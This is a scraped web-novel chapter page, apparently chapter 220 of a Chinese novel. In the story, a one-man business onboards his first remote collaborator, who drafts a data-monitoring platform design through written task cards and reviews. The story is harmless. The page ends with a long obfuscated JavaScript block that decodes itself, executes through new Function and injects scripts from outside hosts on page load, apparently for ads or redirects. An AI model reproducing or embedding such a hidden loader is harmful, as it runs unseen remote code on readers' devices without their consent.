首页
第220章 第一个员工
返回

第220章 第一个员工

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第220章第一个员工(第1/2页)
    协议生效,第一个“员工”——或者说,第一个基于“木头人”准则正式接入的“外部处理器”——林衍,进入了贝西克的协作系统。没有欢迎仪式,没有入职培训,没有团队介绍。有的,只是在任务管理平台(Trello)上,一个名为“[技术/数据节点]-林衍”的新看板被创建。看板内只有一个列表:“待启动任务”,里面孤零零地挂着一张任务卡,标题是:“任务001:数据监控与分析平台V0.1(代号:星轨)需求对齐与启动”。
    贝西克点开任务卡,开始撰写任务描述。这是一个标准的、依据“木头人”协议附件中“任务描述标准”模板创建的任务:
    任务标题:数据监控与分析平台V0.1(代号:星轨)-需求对齐与初步设计
    任务目标:明确“星轨”系统V0.1版本的核心需求、技术选型、实现路径与初步时间估算,输出可供评审的概要设计文档。
    背景:当前“贝氏逻辑”业务数据(包括内容平台数据、知识星球互动数据、网站流量、财务数据等)分散于多个平台,缺乏统一、实时的监控与分析视图。手动收集与整合效率低下,且难以进行深度关联分析与趋势预警。需构建一个轻量级、可扩展的内部数据平台,实现关键数据的自动化抽取、清洗、存储、可视化与基础告警功能。
    输入材料:
    1.《“贝氏逻辑”现有数据源清单.xlsx》(已附,包含各数据源类型、获取方式、数据结构示例、更新频率)。
    2.《关键业务指标定义V1.2.pdf》(已附,明确需监控的核心指标定义、计算口径)。
    3.《技术栈偏好与约束说明.md》(已附,列明现有服务器环境、倾向于使用的技术/框架、安全要求等)。
    期望输出:
    4.一份《“星轨”系统V0.1概要设计文档》,需包含:
    系统架构图与技术选型说明。
    数据流设计(从各数据源到最终展示/告警)。
    V0.1版本拟实现的具体功能列表与优先级。
    数据库/数据存储方案设计。
    初步的API接口设计(如需)。
    前端展示层技术选型与初步界面逻辑。
    5.基于上述设计的初步工作量估算(以“人日”为单位,区分核心开发与测试)。
    6.一份《潜在风险与依赖项清单》。
    完成标准:
    7.文档结构清晰,技术方案合理,能够支持后续详细设计与开发。
    8.工作量估算基于分解后的任务项,有明确假设。
    9.风险清单至少包含数据源稳定性、技术实现难点、第三方依赖等维度。
    优先级:P0(最高)
    截止时间:自任务分配起72小时内。
    协作方式:
    请在本任务卡下评论沟通,所有讨论与决策需留有记录。
    如在文档撰写过程中对需求有疑问,请将问题具体化、场景化,并附上你的初步建议或备选方案。
    我将定期(至少每24小时)查看评论并回复。非紧急勿通过其他渠道联系。
    文档草案完成后,请将链接贴于评论中,我将进行评审并提供结构化反馈。
    任务描述发布。没有额外的说明,没有“欢迎加入,期待合作”的客套。在贝西克的系统中,林衍的“入职”,从他阅读并理解这个任务开始。
    大约3小时后,任务卡下出现了第一条评论,来自林衍:
    “任务收到,已阅。输入材料完备。现就以下几点请求澄清:
    1.数据实时性要求:背景中提到‘实时监控’,但各数据源更新频率不同(从分钟级到日级)。V0.1版本对‘实时’的具体定义是什么?例如,是要求数据到达后X分钟内必须进入系统并更新展示?还是支持手动触发更新即可?
    2.可视化需求粒度:期望输出中提到‘前端展示层’。V0.1版本需要提供哪些具体的图表类型(如折线图、柱状图、表格、仪表盘)?是否有预设的仪表板布局或交互需求(如时间范围选择、指标下钻)?
    3.告警功能范围:基础告警功能具体指?是阈值告警(如某项指标超过设定值),还是趋势告警(如连续下跌)?告警通知方式(平台内、邮件、其他)?
    4.技术栈偏好说明中提到的‘倾向于使用Python生态’,是否意味着后端与数据处理层必须使用Python?对于数据存储(如时序数据)和前端,是否有同等限制?
    我将基于以上澄清,开始初步设计。预计在24小时内提交初步架构思路草稿,供早期反馈。”
    贝西克看到评论,微微点头。问题精准,都指向了任务描述中可能存在的模糊地带,且每个问题都带有明确的场景和选项,显示出发问者希望快速消除歧义、推进工作的意图。他迅速回复:
    “回复澄清:
    1.实时性:V0.1的‘实时’定义为:针对支持API且更新频率高于小时级的数据源(如网站实时访问数据),系统应在数据获取后15分钟内完成处理并更新展示;对于日级或手动更新数据源,支持按预设计划(如每日凌晨)自动拉取并更新。需支持手动立即触发更新。
    2.可视化粒度:V0.1至少需支持:时间序列折线图(多指标对比)、基础柱状图/饼图(占比分析)、关键指标卡片(显示当前值及日环比/周同比)。需要一个可自定义的仪表板,允许拖拽放置上述图表组件。交互至少需支持:时间范围选择(昨日、近7天、近30天、自定义)、图表数据下钻至明细列表(如点击某篇文章的阅读数,可查看该文章详细数据)。更复杂的交互(如交叉筛选、复杂下钻)纳入V0.2考虑。
    3.告警范围:阈值告警(大于、小于、等于、介于区间)。需支持对关键业务指标(清单见附件2)设置阈值。告警通知方式优先集成至平台内部(如仪表板醒目提示、站内消息),同时支持邮件通知作为备选。趋势告警暂不纳入V0.1。
    4.技术栈:后端与数据处理层强烈建议Python,因其与现有部分脚本及团队(仅我)技能栈匹配。数据存储方案可根据技术选型自由选择(如PostgreSQL,InfluxDB等),需提供选型理由。前端无强制要求,但需考虑维护成本与性能,建议使用现代、轻量级框架。请在你的设计中评估并说明。
    可基于以上澄清继续。期待你的架构草稿。”
    评论互动(24小时后):
    林衍贴出了一个石墨文档链接,并评论:“‘星轨’V0.1初步架构思路草稿已完成,请审阅。文档中黄色高亮部分为待决策点或需您确认的假设。其中关于前端框架选型(Reactvs.Vue),我基于项目复杂度、生态、与后端集成便利性做了简要对比,倾向于Vue3+TypeScript,理由已阐述。请重点审查架构图、数据流设计、以及V0.1功能列表的优先级是否合理。”
    (本章未完,请点击下一页继续阅读)第220章第一个员工(第2/2页)
    贝西克点开文档。文档结构严谨,图文并茂。架构图清晰地划分了数据源层、数据采集与处理层、数据存储层、API服务层、前端展示层。技术选型均有简要说明。功能列表被清晰地分为“V0.1必须”、“V0.2规划”、“未来考虑”三类。在“潜在风险”部分,林衍列出了“第三方数据源API变更”、“初始数据历史迁移工作量”、“前端图表库性能与兼容性”等条目,并附带了初步的缓解方案。
    贝西克花了四十五分钟仔细审阅,然后在文档中直接使用批注功能进行反馈。他的批注同样结构化:
    在架构图一处数据流箭头旁批注:“此处从‘清洗模块’到‘标准数据存储’是否需要增加一个‘数据质量校验’环节?建议考虑,或说明V0.1暂不包含的原因。”
    在技术选型部分批注:“同意Vue3+TS选型。数据存储为何推荐InfluxDB而非TimescaleDB(基于PostgreSQL)?请补充对查询模式(更多是按时间范围查询还是复杂关联查询)的考量。”
    在功能列表“必须”项中批注:“‘用户行为事件埋点管理界面’是否属于V0.1核心?当前数据源是否已包含足够分析?如非核心,建议移至V0.2,集中精力完成数据通道与核心仪表板。”
    在风险部分批注:“‘历史数据迁移’风险识别准确。建议在设计中明确V0.1是否必须包含全量历史数据,或可从某个时间点(如本月月初)开始。前者工作量大,后者可快速上线。”
    他将文档批注更新通知设置为已读提醒给林衍,并在任务卡下评论:“已审阅草稿,批注见文档。请逐条回复,并根据反馈更新设计。更新后可进入工作量估算阶段。”
    评论互动(18小时后):
    林衍更新了文档,并回复:“文档已根据批注更新。主要变更:1.在数据流中增加了‘数据质量校验’模块,并说明V0.1将实现基础规则(如非空、格式、数值范围)。2.补充了InfluxDB选型理由(更适合我们当前以时间序列指标为主的查询模式,写入性能更优;复杂关联分析需求当前较低)。3.已将‘用户行为事件埋点管理界面’移入V0.2。4.明确V0.1数据迁移范围:从2023年1月1日开始的全量历史数据(因部分关键趋势分析需要历史对比),并补充了预估工作量和风险缓解(分阶段迁移)。文档末尾新增了初步工作量估算分解表(基于WBS),总计预估约为25-30人日。请审阅更新后的文档,若无重大异议,可开始V0.1的详细设计与开发任务拆分。”
    贝西克再次审阅。林衍的回复条理清晰,对每处批注都给出了明确的采纳、修改或补充说明。工作量估算表将任务分解到模块级别,并标注了不确定性较高的部分。整个沟通过程高效、聚焦,完全基于事实和逻辑,没有任何情绪性表达或无效信息。
    “可以。”贝西克在任务卡下评论,“概要设计通过。请基于此文档,创建详细的开发任务卡(Epic及子任务),并估算每个子任务的工作量(单位:小时)。任务卡需包含:具体目标、输入、输出、验收标准。完成后,将任务卡链接附于此评论下,我将进行评审并排期。此‘任务001’状态标记为完成。”
    新的任务卡森林(24小时后):
    林衍在任务001下贴出了一个看板链接。贝西克点进去,看到了一个名为“【开发】星轨系统V0.1”的看板,里面已经创建好了“待办”、“进行中”、“待评审”、“完成”四个列表。“待办”列表中,整齐地排列着十几张任务卡,每张卡对应一个清晰的功能模块或开发阶段,例如:
    “DEV-01:搭建基础项目框架与依赖管理”
    “DEV-02:设计并实现数据源A/B/C采集模块”
    “DEV-03:数据清洗与质量校验模块开发”
    “DEV-10:前端仪表板基础布局与路由”
    “DEV-15:核心指标图表组件开发(折线图/柱状图)”
    “DEV-20:系统集成测试与部署脚本”
    每张任务卡都按照标准模板撰写,目标明确,验收标准可衡量。大部分任务的工作量估算在4-16小时之间,总和与之前预估的25-30人日基本吻合。看板的设计清晰,符合贝西克对可视化工作流的要求。
    贝西克快速浏览了一遍,在任务001下评论:“开发任务拆分评审通过。可开始执行。请从‘DEV-01’开始。每日结束时,在相应任务卡下评论更新进度(如:完成80%,剩余前端组件联调)。遇阻塞或重大偏差及时提出。我将定期查看进度。”
    “收到。开始执行DEV-01。”林衍回复。
    任务状态从“进行中”变为“完成”。一次典型的、基于“木头人”准则的协作闭环完成。从任务下发,到需求对齐,到设计评审,再到开发任务拆分,全程通过书面、异步的方式进行,沟通聚焦,决策清晰,没有一次会议,没有一句闲聊。贝西克花费的总计时间(包括撰写任务描述、审阅文档、回复评论)不超过4小时,却成功地启动了一个预计需要数百工时的复杂项目,并且确保了项目方向与自己的预期高度一致。
    这就是“第一个员工”的“入职”与“启动”。没有寒暄,没有磨合,只有基于清晰规则和高效异步沟通的协同推进。林衍如同一个精密的插件,被准确地插入“贝氏逻辑”这个系统预留的接口,并立即开始按照预设的协议高效运转。
    在接下来的日子里,贝西克只需每天花几分钟,浏览一下“星轨”开发看板上的进度评论,偶尔对一些技术细节提出疑问或确认。大部分时间,他完全无需干涉林衍的具体工作。他能够清晰地看到任务在稳步推进,遇到的技术难点被清晰地记录和解决(或升级为需要他决策的风险点),交付物按照约定的标准逐渐成型。
    贝西克在自己的系统日志中记录:“‘星轨’项目启动。与林衍的首次正式协作验证了‘木头人’模式在需求对齐与任务启动阶段的有效性。沟通效率极高,认知摩擦极低。林衍表现出优秀的专业能力、结构化思维和自主推进力。后续需观察其在具体开发、问题解决及交付物质量上的表现。初步判断,‘技术/数据节点’接入成功,系统扩展性得到验证。‘只招同类人’原则的初步投资回报为正。”
    “贝氏逻辑”这个由一人绝对掌控的系统,如今,在“独狼模式2.0”的基础上,悄然接入了第一个高度自治的、远程的、完全基于契约和清晰规则运作的外部增强节点。这匹独狼的疆域并未缩小,但他的“爪牙”,通过这个精密的新节点,得以向数据的深处、向自动化的未来,更有效地延伸。一切,都在静默而高效地运转。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();